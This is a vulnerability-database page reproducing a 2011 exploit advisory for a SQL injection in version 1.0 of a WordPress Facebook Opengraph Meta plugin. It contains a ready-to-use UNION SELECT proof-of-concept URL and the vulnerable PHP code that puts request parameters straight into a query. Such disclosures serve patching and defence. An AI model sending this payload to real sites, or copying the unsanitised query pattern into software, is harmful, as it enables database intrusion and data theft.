Lucene search
K

WordPress Facebook Opengraph Meta Plugin plugin <= 1.0 - SQL Injection Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 21 Views

WordPress Facebook Opengraph Meta Plugin SQL Injection Vulnerabilit

Code

                                                # Exploit Title: WordPress Facebook Opengraph Meta Plugin plugin &#60;= 1.0 SQL Injection Vulnerability
# Date: 2011-09-03
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/facebook-opengraph-meta-plugin.zip
# Version: 1.0 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plugins/facebook-opengraph-meta-plugin/all_meta.php?pst_title=1&#39;) UNION ALL SELECT CONCAT_WS(CHAR(44),version(),current_user(),database()),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--%20&page=100&rows=1

---------------
Vulnerable code
---------------
$page = $_GET[&#39;page&#39;]; // get the requested page
$limit = $_GET[&#39;rows&#39;]; // get how many rows we want to have into the grid
...
if(isset($_REQUEST[&#34;pst_title&#34;]))
    $pst_title = $_REQUEST[&#39;pst_title&#39;];
...
if($pst_title!=&#39;&#39;){
    $where.= &#34; AND (wposts.post_title LIKE &#39;%$pst_title%&#39;&#34;;
    $where.= &#34; OR wpostmeta.meta_value LIKE &#39;%$pst_title%&#39;)&#34;;
}

$result = $wpdb-&#62;get_var(&#34;SELECT COUNT(*) AS count FROM $wpdb-&#62;postmeta WHERE meta_key = &#39;_OgMeta&#39;&#34;);
$count = $result[&#39;count&#39;];
if( $count &#62;0 )
{
    $total_pages = ceil($count/$limit);
}
else
{
    $total_pages = 0;
}
if ($page &#62; $total_pages)
    $page=$total_pages; $start = $limit*$page - $limit;
...
$querystr = &#34;
    SELECT wposts.*
    FROM $wpdb-&#62;posts wposts, $wpdb-&#62;postmeta wpostmeta
    WHERE wposts.ID = wpostmeta.post_id
    AND wpostmeta.meta_key = &#39;_OgMeta&#39;
    AND wposts.post_status = &#39;publish&#39;
    AND (wposts.post_type = &#39;post&#39; OR wposts.post_type = &#39;page&#39;)&#34;.$where.
    &#34;ORDER BY wposts.post_date DESC
    LIMIT $start , $limit
    &#34;;

$result = $wpdb-&#62;get_results($querystr);//, OBJECT);

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
21